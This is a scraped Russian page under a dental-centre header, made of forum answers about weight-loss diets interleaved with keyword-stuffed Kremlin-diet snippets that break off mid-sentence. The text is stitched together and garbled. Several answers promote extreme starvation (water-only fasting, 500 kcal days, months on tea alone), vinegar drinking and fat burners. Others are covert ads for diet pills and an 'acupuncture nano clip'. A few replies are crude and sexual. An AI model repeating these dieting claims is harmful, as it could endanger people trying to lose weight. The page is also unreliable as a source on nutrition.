Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Эффективная диета

Кремлевская

И все же, у кремлевской диеты, как и у любой другой, есть противопоказания,а именноВаренье малиновое 71. Варенье яблочное 66. Вафли Невские , какао-шоколад...

Вы когда-нибудь изнуряли себя диетами???

Было дело лет 30 назад

Кремлевская диета относится к одной из самых популярных и эффективных диет.Уксус яблочный 1 ст. ложка 1.

А недельный запой диетой мона считать?

Нет, повезло, не толстею

Никогда. смотрела на знакомых, практиковавших это и каждый раз понимала, что правильно делаю. Хорошее сбалансированное питание и спорт - вот лучший образ жизни

Нет. Хотя в детстве, когда переболела гепатитом, меня мама изнуряла. Но то была необходимость.

У нас во всех РОВД спец. палаты для похудания)))))

Кремлевская диета или как ее еще называют диета американских астронавтов сегодня вызывает наиболее сильныйПетрушка зелень . 8. Повидло яблочное. 65. Белые сушенные.

Ага, на водке неделю сидел. Потом об этом довольно сильно пожалел.

Да было дело. Испортила желудок напроч.. . теперь жалею

Нет. повезло с генами

За всю жизнь не испробовала на себе ни разу, что это такое

Нет, не изнуряла. Просто когда вижу, что нарастает лишнее, меняю немного рацион и начинаю больше двигаться.

Итак, неужели кремлевская диета для похудения разрешает неограниченное употребление мяса и крепкого алкоголя?

Это нужно делать, чтобы не быть толстой! Так что диета это друг)))

Да, но потом поняла, что когда после диеты снова ешь что хочешь. набираешь в два раза больше. Потом я начала заниматься фитнесом, и теперь я в отличной форме.

Да, доходило до обморока.

Да перепробовала многие.

Здраствуйте!!!Подскажите какую нибудб диету оч нужно!!!!=))))

Завтракай, как Бог
обедай, как принц.
ужинай, как нищий.
и похудеешь

Последний этап это кремлевская диета на каждый день. Держим количество у.е. на уровне, который определили для себя на 3 этапе.Варенье яблочное. 66. Вафли обычные.

Мандариновая диета. Три дня питаетесь только мандаринами в неограниченном количестве. При этом пить можно только воду и зелёный чай без сахара. Я за 3 дня скинула 3 кг!

Жри меньше! и вся диета.

Не ешь сахар (замени медом, если в чай или кофе), хлеб и после 17.30 и желательно спорт. зал 2 раза в неделю. скинешь быстро.
Главное начать!!!

Ешь до 12 все, что хочешь. После кушаешь все маленькими поциями, но исключая мучное, сладкое, жирное и жареное. После 6 не ешь, только низкокалорийные фрукты!

Как множна бистрее похудать???

Не жрать)))))

Кремлевская диета уже не так модна, как была раньше, но все же полезно знать что она из себя представляет.Сок яблочный.

Есть одна диета называется "НЕ ЖРАТЬ" Мая Плисецкая только на ней и живет)))

Бистрее, еще бистрее) ахахах) бассейн и аквааэробика. спорт и еще раз спорт! ну и правильно питание

Маложратьтдин много задомшевелин

Не советую быстро худеть.... кожа обвиснет! Рекомендую считать каллории. Кушаете все что хотите, но не более 1500 каллорий в сутки. Чтобы ускорить процесс снижайте каллорийности постепенно ...но не менее 1200 каллорий в сутки. Я на себе этот способ опробывала.... и осталась довольна... лишние 6 кг исчезли!!!))))

Вам важно быстро, или качественно (не набрать вес в еще большем количестве) ? В Орифлэйме есть спецальный коктель Вэлнэс. Если будете его пить, то прийдете в форму без обвислой кожи. Подойдите к консультанту, или зарегистрируйтесь бесплтно на сайте. Если Вам важно качественно и без вреда для здоровья похудеть, то напишите мне, у меня такая же проблема была. Я Вам помогу.

Если вкратце, то кремлевская диета стоит на четырех китахСоль 0 Уксус столовый 0 Уксус яблочный 5.

Наберите в поиске "кремлевская диета". Очень помогает.

Жрать один раз в день и чай для похудения "Летящая ласточка".

Не жрать по ночам

У кого есть диеты на которых вы похудели???

У меня есть... обедала я на работе в 2, а потом дома на ужин только молоко пила и всё, литр я выпивала,

Кремл вская диета одна из самых популярных диет. В течение длительного времени рецепт диеты неМороженое эскимо. 20. Варенье яблочное. 66. Повидло диабетическое.

Диета 8

Диета Дюкана очень эффективная

Худела и успешно считая калории. Старалась есть сбалансированную, разнообразную пищу. При 1500 кал. в день худела на 1 кг. в неделю, при 1000 кал на 250-300 гр. в день, худеть начинаешь через неделю, неделю организм сопротивляется. К здоровой пище приходишь автоматически когда думаешь съесть 1 конфету или полкилограмма цветной капусты.

Мне кремлевская понравилась
и на яблочно кефирной сидела
а вобще правильное питание и спорт самое лучшее

ОЧЕНЬ мало есть, практически голодать, и пить яблочный уксус, или сок лимона с водой с утра.

Яблочная диета для похудения разновидности, преимущества, результаты.Кремлевская диета для похудения минимальные усилия, максимальный результат.

Я сидела на яблоках. скинула 5 кг за неделю.

Посоветуйте диету на 7-9 дней для срочного похудения! Особенно в боках, животе

Спорт, и фрукты с овощами ешь побольше и без диет можно а желательно всю неделю жареное не есть

Рецепт Творожно-яблочное суфле Яблоко натереть на т рке.Дневник группы Кремлевская диета Этапы Кремлевской диеты.

Срочно не получится, нужно было раньше задумываться, а не перед Новым Годом.

На 7-9 не знаю, знаю за 5.

Я сидела на яблочной диете и пила Липрину чтобы не сорваться на голоде. Подробнее про диету вы можете прочитать на любом сайте. Я на яблочной диете похудела на 8 килограмм на 2 недели, и не разу не сорвалась. Есть очень хорошая трехдневная диета: едим только яблоки, можно пить чай с медом: минус 3-4 кг. Я тоже на ней худела и пила Липрину, очень эффективно.


Кефирная диета самая эффективная, правда выдержит не каждый))) У меня мама на такой диете сидела, правда она помогала себе выдержать ее с помощью таблеток для похудения. Так как сложно не сорваться. Ей очень помогли эти таблетки, без побочных эффектов. После нее и я решила попробовать, правда я просто пила липрину без всякой диеты, похудела. Результат конечно с диетой быстрее, но мне быстро и не нужно было. А вам вот девушка советую, садитесь на любую диету, можете выбрать кефирную))) и купите в помощь липрину, она и ускорит и поможет, и закрепит результат, сброшенный вес не вернется

Суть кремлевской диеты в том, что мяса можно есть неограниченное количество, но жестко ограничить потребление56. МЯСО, ПТИЦА. Варенье яблочное. 66. Говядина, телятина.

Подскажите пожалуйста какие нибудь серьезные средства для похудения!!Я уже больше не могу. Мой рост 160 а вес....85 кг

Пластырь на рот.

Вред кремлевской диеты. Несмотря на довольно значимые плюсы, кремлевская диета имеет и ряд противопоказаний.Кефирно-яблочная диета.

К эндокринологу и диетологу обратитесь.
Как похудеть к лету (видео есть с упражнениями) :
http://digest.subscribe.ru/woman/beauty/n1028525478.html
-------------------------------------------
Как похудеть на мэйле все ответы.. .
Вот здесь всё прочтите, вопрос не нов, наговорено много, до вечера не прочтёте :
http://search.otvet.mail.ru/?q=как+похуд ...
-------------------------------------------------------
Советы опытного эндокринолога по способам похудения, препаратам для похудения, которые помогут быстро и надолго сбросить вес без вреда для здоровья.
http://www.youtube.com/watch?v=qGvI-S1g6So&feature=youtu.be

Смотря что вы подразумеваете под "средствами". Химии не верьте. Только физические упражнения. Началась весна, начинайте бегать и чувствовать себя будете хорошо.

Если серьезно то самое главное -меньше есть и больше двигаться !!!

Резко худеть нельзя... организм получит стресс и ещё больше наберёт вес... Есть последний раз за 4 часа до сна, и именно ЕСТЬ... а не жрать.... Я просто уменьшила порции...

Есть хорошая диетка, http://fitfan.ru/nutrition/diets/1431-dieta-maggi.html Диета магги. У мня мама на ней сидела. За 4 недели скинула около 9 кило. А если бы она еще и физ. нагрузку себе давала сбросила бы еще больше.

То есть нельзя 2 дня посидеть на Кремлевской диете , потом день на яблочной, а затем снова вернуться обратно.

Могу тебе посоветовать займись спортом!
1)Если ты хочешь кубики и накаченное тело то свободно иди на бодибилдинг также можно на пауэрлитинг
Я вот занимаюсь пауэрлифтингом у нас парень рост 165 вес97 кг, так она делает больше норму чему нас, так что вес большой это хорошо!
2)Можно воспользоватся жиросжигателями в они будут стоить рублей 600,после них пробежишься и скинешь большой вес так что вот можно этим воспользоватся
3)Когда будешь худеть самое главное не очень быстро так как может начать свисать кожа и будет не красиво
Запомни всё в твоих рука)

Вы хорошая красивая женщина, мужики на кости не бросаются... а когда плюшки танцуют... только слюни и текут
Главное, чтоб Вам было удобно в Вашем весе! А мнение окружающих не важно...

Кремлевская диета, я похудела на ней за 20 дней на 10 кг, с 75 до 65))))попробуй, либо английскую, я в этом эксперт, говорю то через что прошла, а вообще если парень и так любит что париться

Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час
•перейти на дробное питание 5-6 раз в день
•ограничить потребление ненасыщенных жиров до 40 г в день
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) например рыба некоторых сортов ненасыщенные колбаса сыр и трансжиры (очень плохие) например маргарин
•с удовольствием потреблять продукты с насыщенными жирами так как они содержать очень полезные вещи например жирные кислоты омега -3)
•есть ржаные или пшеничные отруби
•Алкоголь ограничить и лучше всего пить немного красного вина
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе чем на 25 км
•Сладкое мучное сдобное . Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий. . Она действует на точку голода на козелке и помогает с ним справиться. Кроме того нормализует обмен веществ, работу эндокринной системы и другое.
Еще много полезного для похудения смотрите на блоге Похудение21век

Вот я решила похудеть, а метод такой, может переборчик ?

Уксус, выпитый перед едой, увеличивает аппетит

Кремлевская диета. Популярные диеты gt Диеты - Часть 1.Диета с яблочным уксусом. 71. Индийская диета 72. Капустно-яблочно-апельсиновая диета 73.

Да нормально)

Не мучай свой организм. Вес вернется.

Попрощайся сначала со здоровьем и начинай

Похудеть ограничивая себя питанием, это временно и вредно!
главное настроить организм!!

А чтобы вес не вернулся, такой образ жизни навсегда!! ! выдержите вы всю жизнь так???? и яблочный уксус вам ни к чему

Новости диетологии. Кремлевская диета.Яблочная диета помогает нормализовать нарушение обмена веществ, избавиться от лишнего веса.

Кремлевская диета и уксус ещё....жесть.... у вас есть деньги на новый желудок? кушайте овощи, меньше мучного и позволяйте иногда шоколод + пункт 2 (отношусь скептически, у всех разный организм).

Должна быть не диета, а образ жизни такой

Уксус это пипец. где вы такое вычитали.

Какая диета по вашему мнению самая эффективная из тех которые вы знаете?

Диета Пьера Дюкана.. .
одноклассник скинул 20 кг. год назад и так и "сохранился" - реально в сорокет выглядит, как юноша.. .
сами с женой - я две недели назад, она неделю - начали - эффект - превосходнейший - очень рекомендую - проверил на себе ;)))

Специальная таблица по питанию кремлеаской диеты.Яблочное повидло. 65.

Русская! Есть один раз в сутки, но с утро до вечера!)

Диета - это всего лишь правильное сбалансированное питание.

Есть каждые два часа. Похудение гарантировано

12дневная, питьевая - но это жесткачи. Если хотите простое здоровое похудение, то есть не меньше 1200 ккал, 6 раз в день по 100-200 грамм + пп + спорт. Медленное, но верное похудение без вреда для здоровья, рекомендуемое всеми врачами.

Лучше вовремя питаться и не злоупотреблять диетами. Пожалуй, лучший способ сбросить килограммы — здоровое питание и умеренные занятия спортом.
Не стоит увлекаться новомодными диетами. Таблетки для похудения, может, и притупляют на время аппетит, однако организм быстро к ним привыкает. В результате либо возвращается аппетит, либо замедляется обмен веществ и ты снова набираешь вес, либо возникают какие-то побочные эффекты — головокружение, высокое давление, тревожные расстройства и даже медикаментозная зависимость. То же самое можно сказать и о мочегонных средствах, и о препаратах, ускоряющих обмен веществ.
Сбалансированное питание и умеренная, но регулярная физическая нагрузка, напротив, помогут тебе чувствовать себя и выглядеть как можно лучше. В меру занимаясь фитнесом несколько раз в неделю, ты обязательно почувствуешь результаты. Порой достаточно даже быстрой ходьбы или подъема по ступеням.

Кремлевская диета. Как похудеть на Кремлевской диете, таблица, рецепты, отзывы о диете.Н. Наливка Сливянка 30 Напиток яблочно-виноградный 12,8 Нектарин 13 Ножки...

Яблочно кефирная.... и просто ходьба

Необходимо переходить на правильное питание. Для начала необходимо узнать процентное соотношение в вашем организме жировой, мышечной, костной ткани и процент воды в зависимости от вашего роста, веса, возраста и на основании ваших показателей составить схему питания с добавлением физических нагрузок и хорошей мотивации. Результат не заставит себя долго ждать

Я на кремлёвской диете сбросила 25 кг. за короткий срок. последние 8 кг сбросиламза три недели

Я так худела:
-в день выпивала 7 стаканов воды
-не ела ничего сладкого, мучного
-по 40 минут ежедневно пользовалась релакс&тоном
Неплохой результат: -5 кг за неделю.

Подсчет калорий. Пятисотка. 500 калорий в день. Но в нее надо входить очень медленно и осторожно.

МЯСО, ПТИЦА. Варенье яблочное. 66. Говядина, телятина.ТАБЛИЦА ПРОДУКТОВ КРЕМЛЕВСКОЙ ДИЕТЫ Кремлевская диета Энциклопедия диет.

Посоветуйте диету минус 5 кг в неделю. заранее спс

Любая моно диета: яблочная, кефирная..

Кремлевская диета работает по такому принципу В организм резко ограничивается поступление углеводовПряники заварные. 77. Варенье яблочное. 66. Вафли фруктовые.

Кремлёвская. и не есть после 6-ти.

Это что, 20 кило за месяц? Освенцим или рудники, и то не факт. Сколько лет ты их нажирала, дорогая.. .
Пора понять. что ничего не "убирается" на раз, хоть на воду сядь.

Добрый день. Я консультант по функциональному питанию. Хотите решить свою проблему в корне? Запишитесь на консультацию. т. 8(908)707-52-20Денис ОлеговичВес наберется опять. Диета - это стресс для организма. Нужно менять привычки питания и восполнять организм витаминами и микроэлементами.

Поберегите организм. . 5 кило в неделю это слишком круто. Почитайте "Я не умею худеть" Дюкана. я скинула 15 кило и счастлива как слон :)

Просто не ешь сладкое и мучное

Суть кремлевской диеты. Кремлевская диета работает по своему, особому принципу.Подберезовики сушеные. 14. Уксус яблочный 1 ст. ложка . 1. Подосиновики свежие.

Как похудеть с помощью диеты?

Бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай
бегай бегай бегай

На сайт, посвященный кремлевской диете. Кремл вская диета Таблица баллов Кремл вская диета.56. МЯСО, ПТИЦА. Варенье яблочное. 66. Говядина, телятина.

Диета для дибилов и она тебе не поможет, читай первый коммент, там вся правда жизни.

Скорее бы 1 сентября. Как же школота заколебала....

Как худеть с помощью диеты? ?
Просто выбираешь то, что приглянулось и следуешь ей
Но я бы выбрала систему ПП

Английская, поищи в Интернете, за три недели похудеешь

Не надо никакие диеты! Они не помогут. Вес будет возвращаться. . надо заниматься спортом, пить много воды. и кушать всегда по помаленьку!

Кремлевская диета. Диеты - Похудение - Калорийность продуктов - Раздельное питание.МЯСО, ПТИЦА. Варенье яблочное. 66. Говядина, телятина.

Самая лучшая диета - Кремлевская, т. е. белковая : можно есть мясо, та в принципе, можно есть все, прочитай нюансы в интернете. За 2 недели скинешь до 10 кг!

Как похудеть на10 кг?

Есть поменьше и спортом заниматься

Кремлевская диета относится к разряду самых простых и действенных диет.Уксус яблочный. 5. Масло растительное.

Кушать менее, 10 кг.

Кроме физ нагрузок советую ещё не есть горячую пищу. Максимум тёплую. Пища переваривается при т 20-21гр (вроде как), а до этого организм тратит калории на её разогрев, перед перевариванием

Как это не банално звучитмогу посоветоватьне есть после шести, 3-4 кг сразу уйдет, ну физ. нагрузка хотя бы какая нибудь небольшая для начала. самое сложное начать (((( а там уже втянетесь и нормально все будет))))

Хорошо похудеть помогает кремлёвская диета. Если строго придерживаться, можно за месяц похудеть. Но самый лучший способ-это не есть. Подруга за 3 месяца похудела на 25 кг-кроме чая без сахара ничего не ела. Но так здоровье подорвать можно. Да и сила воли нужна неимоверная

Бразильская диета на 2 недели
Основой данной диеты являются продукты, содержащие белок - мясо, рыба, яйца и овощи.
Меню бразильской диеты:
ПОНЕДЕЛЬНИК
Завтрак - 1 яйцо, 1 яблоко + чашка черного кофе
Обед - 1 яйцо, 1 яблоко
Ужин - 1 яйцо, 1 яблоко
ВТОРНИК
Аналогичное понедельнику меню
СРЕДА
Завтрак - 2 вареных яйца
Обед - вареная говядина (100 гр. ) + шпинат
Ужин - вареное яйцо + шпинат
ЧЕТВЕРГ
Завтрак - 1 вареное яйца
Обед - вареная морская рыба (100 гр. ) + помидор
Ужин - 2 вареных яйца + чашка черного кофе
ПЯТНИЦА
Завтрак - 1 вареное яйца + чашка кофе
Обед - вареная рыба + помидор
Ужин - рыба, поджаренная без жира (100 гр. ) + овощной салат (можно заправить уксусом)
СУББОТА
Завтрак - 1 вареное яйцо + чашка кофе
Обед - вареная говядина (100 гр. ) , огурец + чашка кофе
Ужин – 1 чашка кофе, 150-200 грамм говядины
ВОСКРЕСЕНИЕ
Завтрак - 1 вареное яйцо и кофе
Обед - курица (100 гр.) , помидор и огурец
Ужин - филе курицы (100 гр.) , помидор, огурец, яблоко + чашка кофе
Бразильская диета на 4 недели
Этот вариант диеты предполагает разделить прием пище на 5-6 раз. Основа - зелень, фруктовые соки и овощи.
Меню диеты:
Порция всех соков — стакан, 200 гр.
ПОНЕДЕЛЬНИК
Завтрак - банан, апельсин, апельсиновый сок
Ланч - гренка из белого хлеба, апельсиновый фреш (200 гр. )
Обед - вареная морская рыба (100 гр.) , овощной салат
Перед сном - меню ланча
ВТОРНИК
Завтрак - 1 вареное яйцо (всмятку) , яблочный фреш
Ланч - гренка + яблочный фреш
Обед - вареное мясо (100 гр.) , 2 вареные картофелины
Ужин - салат (10 гр. постного вареного мяса + 1 яйцо + салат + зеленый горошек)
Перед сном - меню ланча
СРЕДА
Завтрак - 200 гр. нежирного молока + гренка
Ланч - 100 гр. нежирного творога
Обед - 100 гр. риса, салат (мякоть лимона + зелень + белокочанная капуста)
Ужин - вареное мясо (100 гр. ) + яблоко
ЧЕТВЕРГ
Завтрак - ананасовый сок, 1/4 ананаса
Ланч - гренка + апельсиновый сок
Обед - вареное мясо (100 гр.) , сыр (30 гр. ) + апельсин
Ужин - 2 вареные картофелины, тертая морковь (150 гр. ) с раст. маслом
Перед сном - гренка + ананасовый сок
ПЯТНИЦА
Завтрак - сок манго, 1/4 ананаса
Ланч - яблоко и апельсин
Обед - вареная рыба и 2 вареные моркови
Ужин - овощной суп
Перед сном - гренка + сок манго
СУББОТА
Завтрак - яблочный сок + гренка
Ланч - салат из вареной свеклы
Обед - овощной суп на постном мясном бульоне + ломтик черного хлеба
Ужин - вареные грибы (100 гр.) , овощной салат
Перед сном - меню завтрака
ВОСКРЕСЕНИЕ
Завтрак - банан и виноград
Ланч - гренка + виноградный сок
Обед - вареное мясо (100 гр.) , салат (капуста + лук + зелень)
Ужин - рыбный или грибной суп + фруктовый салат
Перед сном - виноградный сок и свежий виноград.

Кремлевская диета отзывы похудевших, результаты похудения. Кремлевская диета эффективна, сытна и комфортна для соблюдения.

Бразильская диета, может, и помогает, тем более Пасха скоро и в вареных яйцах недостатка не будет: ) Но лично я помру спустя 2 дня на такой диете. Мой опыт успешного похудения - есть часто (4-5 раз в день) и помалу, много пить (вода, зеленый чай без сахара) , исключить мучное и жирное. Чтобы меньше есть - можно принимать Цитримакс по 1 таб за полчаса до еды, 3 раза в день.

Есть сидеть на яблочно-кефирной диете и делать ниже описанные упражнения, то какой результат может быть через месяц?

Заработаешь себе язву желудка, давай ешь побольше яблок детка.

Яблочная диета помогает нормализовать или скорректировать нарушение обмена веществ, бороться с лишним весом.Кремл вская диета.

Язва желудка обеспечена .

Если сидеть на этой диете, то через неделю ты не сможешь 60 раз присесть. Упадешь от нехватки сил!!!

Ваши параметры норма. Зачем в скелет превращаться?

Любая диета - зло. Правильное питание и спорт - единственное средство, которое сохраняет фигуру на всю жизнь

Месяц -это очень много. Наши клетки крови состоят из разных веществ, и если чего то недостаёт начинаются болезни

Яблочная диета путь к здоровью. Диета из яблок применяется не только как метод для снижения веса, но и в лечебных иКремлевская диета таблица кремлевской диеты .

Яблочно-кефирная диета - http://dieta-da.ru/kefirno-yblochnay-dieta.htm - не больше недели. Если на месяц - систему питания - рекомендую минус 60 - безопасно и эффективно.

Скажу так. Вам лучше выбрать что-то одно - либо яблочную, либо кефирную диету. Я бы рекомендовал яблочную, она более щадящая. Думаю будет не лишним почитать - http://mirdiet.net/yablochnaya-dieta/ . И помните - чтобы добиться результата, нужна дисциплина. Не забываем так же о спорте.

Что у вас на десерт?

Обхожусь бананом

Итак, кремлевская диета для похудения не ограничивает употребление мяса.Уксус яблочный 1 ст. ложка 1.

Арбуз

Ты?)

Секс)

"Шишкин лес"....третий день... Гарантировано "0" калорий)))

Яблочно-фруктовый десерт.

Особенности яблочной диеты. Каких только диет не придумало человечество Кремлевская, бескрахмальная, английская, греческая, голландская, арбузная, вишневая...

Шоколадка "Кремлёвские забавы". ) и Венские вафли с вишней.

)как всегда:)..

У меня на десерт моя любимая девушка она у меня самая при самя вкусная на свете аж пальчики оближешь когда её губки целуешь

Мокрая вагина

Сливочное мороженое!! !
Шоколадка в батончике!! !
Молоко варенное-сгущенное!! !
И сироп в сифончике!!!

Кремлевская диета особенности. Уникальность диеты в том, что не нужно тратить время на высчитывание традиционных граммов и калорий.Яблочный сок.

Испанский танец....)))

Плин... да все ужо седня было.. . -потому - подушка...) )
Прям мечта моя манящая и быстро осуществимая...))

Я на диете)

Подскажите простые диеты? Например, яблочная - неделю есть только яблоки, кефирная и т.д.

Простоя диета ГРЕЧКА, если ты сможешь её кушать без соли. То результат за неделю увидишь)))

Кремл вская диета. Содержание статьи Суть кремлевской диеты.Варенье яблочное. 66.

Диету составляет доктор специальный. Называется диетолог. А то, что вы тут нарисовали - это больное воображение страдальцев от еды.

Диетологи представили список продуктов, которые могут помочь приобрести тонкую талию. После проведенного эксперимента выявили, что люди, употребляющие на завтрак яйцо вместо высококалорийной сдобной булочки, теряют на 60 % веса больше, и происходит это интенсивнее.
По статистике: люди, ежедневно использующие яйца в своем рационе, получают на 300 калорий меньше, чем те, кто предпочитает отклониться от белковой диеты. Это позволяет им легко сбрасывать регулярно 2 кг в месяц.
Квашеная капуста способствует повышению иммунитета и нормализует пищеварение, так как в ней содержится огромное количество витаминов и полезный сердцу калий. Также является вкусной и легкой закуской, ускоряющей процесс похудания. Можно использовать ее как гарнир, и есть в неограниченном количестве, ведь квашеная капуста – низкокалорийный продукт (100 г -27 калорий) .
Диетологами был включен в список и картофель, запеченный в фольге; содержит примерно 6 г белка, около 1550 мг калия и 280 калорий.

Я эксперементировал с кремлёвской (безуглеводной). Реально сбросил около 10кг за примерно 5 месяцев. Понял что помогает.

Белковая диета на 2 недели даёт хороший результат, из углеводов только некрахмалистые овощи, пить больше чистой воды

Погугли-диета 9 дней. Периодически практикую.

И все же, у кремлевской диеты, как и у любой другой, есть противопоказания,а именноВаренье малиновое 71. Варенье яблочное 66. Вафли Невские , какао-шоколад...

Насчет кефира, им чистят кишечник, 3 дня только на кефире и больше ничего! 3 л. в день. Первый тяжело, второй терпимо, а третий про летает на ура))))

Неделю яблоки никто не выдержит: очень кушать хочется) ) Можно 600 г отварного мяса есть в течение дня + зеленый чай и воду сколько хочешь.

Лучшая диета-это много работать физически!

Это называется правильно МОНОДИЕТА
МОНОДИЕТЫ - гречневая монодиета, кефирная монодиета ...
www.missfit.ru › Диеты‎
Монодиета - Альтернатива
alternativa-mc.ru/monodieta‎

Очень много информации о диетах и не только ты сможешь найти
В свое время мне очень помогла информация найденная на этом сайте

Кремлевская диета относится к одной из самых популярных и эффективных диет.Уксус яблочный 1 ст. ложка 1.

Девочки, как вы похудели?

Привезли мне внучку на 10 дней ...-3 кг..

Кремлевская диета или как ее еще называют диета американских астронавтов сегодня вызывает наиболее сильныйПетрушка зелень . 8. Повидло яблочное. 65. Белые сушенные.

"Как убрать живот" от Дениса Борисова

Калории считала, купила весы кухонные. И тратила энергии больше, чем употребляла. Ограничила соль. Но позволяла себе все. Все дело в энергии. Если съедать каждый день хотя бы на 200 ккал в день больше, то через год - это отложится в жиры.

Не есть не менее чем за 2 часа до сна, фитнес, чай с 1й ч. л. яблочного уксуса.

Сижу на кремлёвской (без углеводной) диете, в месяц уходит по 3 кг

Стала есть порции в ТРИ раза меньше, + LPG массаж 20 сеансов = прекрасный результат

Итак, неужели кремлевская диета для похудения разрешает неограниченное употребление мяса и крепкого алкоголя?

Голодала на воде 10 дней

Правильное питание, есть как можно меньше сладкого, мучного, жареного. стараться не кушать на ночь. пить много воды и зеленого чая потому что он ускоряет обмен веществ!
вести активный образ жизни.. и конечно же заниматься спортом!
без спорта никуда.
я бегала каждый день - иногда через день- Иногда дважды в день - На стадионе по 40 минут) брала с собою туда еще и скакалку, прыгала!
Дома качала пресс - в день 3-5 подходов по 20-30 раз!
и обязательно крутила почти что Ежедневно Тяжелый, массажный хулахуп по 15-20 минут !
за месяц скинула достаточно легко пять кг, фигура изменилась в лучшую сторону, стала Более стройной и подтянутой!
думаю, могла бы и Больше скинуть! да Надобности в Этом не было!

Посаветуйте несложную диету

Не ходить в Макдоналдс

Последний этап это кремлевская диета на каждый день. Держим количество у.е. на уровне, который определили для себя на 3 этапе.Варенье яблочное. 66. Вафли обычные.

Заклейте себе рот скотчем

Благодаря кремлевской диете я похудела на 12 кг!!!

Когда мне нужна диета, я просто прекращаю жрать. . на 3-7 дней
сбрасывается 3-5 кг веса

Как мне кажется самое действенное и простое это исключить сахар, мучное и картофель. Все остальное можно, но маленькими дозами раз 5 в день. Как раз щас "сижу" на такой. Пару кило уже ушло.:)

Смотря для чего эта диета.
Я вот просто немного ем и хорошие полезные продукты, проблем нет.

Кремлевская диета уже не так модна, как была раньше, но все же полезно знать что она из себя представляет.Сок яблочный.

Минус 2-3 кг за семь дней
Понедельник
1-й завтрак. Черный кофе без сахара, 2-3 несдобных сухарика.
2-й завтрак. Зеленый чай, сваренное вкрутую яйцо, черный хлеб.
Обед. 150 г говядины без соли и 150 г тушеных в растительном масле овощей.
Полдник. Сладкое яблоко или груша, зеленый чай.
Ужин. Тушеные овощи (не больше 150 г) , зелень.
Вторник
1-й завтрак. Черный кофе с молоком, 100 г твердого сыра или моца-реллы.
2-й завтрак. 100 г брынзы или соевого сыра тофу.
Обед. 1 апельсин, порция (150-200 г) куриной грудки или нежирного постного мяса - отваренного или запеченного в фольге, апельсиновый или грейпфрутовый сок.
Полдник. Стакан кефира, 100 г нежирного творога.
Ужин. 150-200 г куриной грудки.
Среда
1-й завтрак. Глазунья из 2-х яиц с ветчиной, томатный сок.
2-й завтрак. 2 помидора, несколько ломтиков ветчины, томатный сок.
Обед. Порция (200 г) вареной или жареной рыбы, томатный сок.
Полдник. Горсть орехов, 100-150 г кислых фруктов.
Ужин. Отварная цветная капуста, 100 г тушеных баклажанов, 50 г ветчины, стакан томатного сока.
Четверг
1-й завтрак. Отвар шиповника, 150 гтертой моркови с лимонным соком, немного галетного печенья или некалорийного крекера.
2-й завтрак. 150 г творога, стакан кефира.
Обед. Порция (200 г) отварной свинины с овощами (вареными или тушеными) .
Полдник. 10 черных оливок, 150 г сыра тофу или нежирного творога.
Ужин. 150 г свинины, 150 г тушеных кабачков, зелень.
Пятница
1-й завтрак. Зеленый или любой травяной чай, ржаной хлеб, 100 г крабового или мяса кальмаров.
2-й завтрак. Салат из свежей или морской капусты и моркови, заправленный растительным маслом.
Обед. 150 г филе жирной морской рыбы, запеченной в фольге, овощи и зелень (до 200 г) .
Полдник. 2 чашки зеленого или травяного чая, сладкий фруктовый салат (бананы, груша, яблоки, персики со сметаной или сливками) .
Ужин. 200 г салата из мидий, креветок, крабов или других морепродуктов с оливками, кислые фрукты или ягоды.
Суббота
1-й завтрак. 150-200 г куриной, говяжьей или свиной отварной печени с тушеными овощами.
2-й завтрак. Чашка тертой моркови с растительным маслом, морковный сок.
Обед. Половина отварной курицы, томатный сок. Этот обед можно разделить на несколько порций.
Полдник. 150 г салата из квашеной капусты, морковный сок. •Ужин. 100 г печени, 150 г овощей или кислых фруктов, морковный или морковно-яблочный сок.
Воскресенье
1-й завтрак. Черный кофе без сахара, нежирный йогурт.
2-й завтрак. 100 г отварной или запеченной в фольге телятины, отвар шиповника.
Обед. Телячья или свиная отбивная, небольшой кабачок, обжаренный в растительном масле.
Полдник. 1 сырое куриное или несколько перепелиных яиц, 50 г любой ветчины.
Ужин. 150 г салата из зелени, сырых овощей и 1 яблока, заправленный лимонным соком, 100 г отварной свинины.
Внимание! Находиться на строгой белковой диете более недели не рекомендуется. Но использовать ее основные принципы можно всегда! Так, например, в использовании гречневой диеты. Именно она в последнее время становится очень популярной. Ознакомится с рецептом этой новинки, оставить отзывы о гречневой диете вы можете перейдя по ссылке.

До 12:00 кушай всё...до 18:00 сладкое, хлебобулочное... ни-ни, а колличество всего остального не должно быть больше того, что помещается в твоей ладони, это на один раз... после 18:00 ничего, даже потребление воды уменьшить... Попробуй....

Не надо дитеу)))))))))) ) просто раздельное питание))))))))))))) ) и исключить мучное и сладкое))))))))))) ) можно только горький шаколад)))) ) в меру конечно))))))))))

Срочно надо похудеть как это быстро сделать

Не жрать!

Если вкратце, то кремлевская диета стоит на четырех китахСоль 0 Уксус столовый 0 Уксус яблочный 5.

Уменьшить кол-во еды и увеличить кол-во нагрузок

Наоборот больше воды пить...

Не занимайтесь ерундой! Худеть быстро огромный стресс для вашего организма. Тем более заниматься самолечением в одиночку. Посоветуйтесь с диетологом он уж точно плохого не скажет выберет вам правильную диету если уж так хочется.

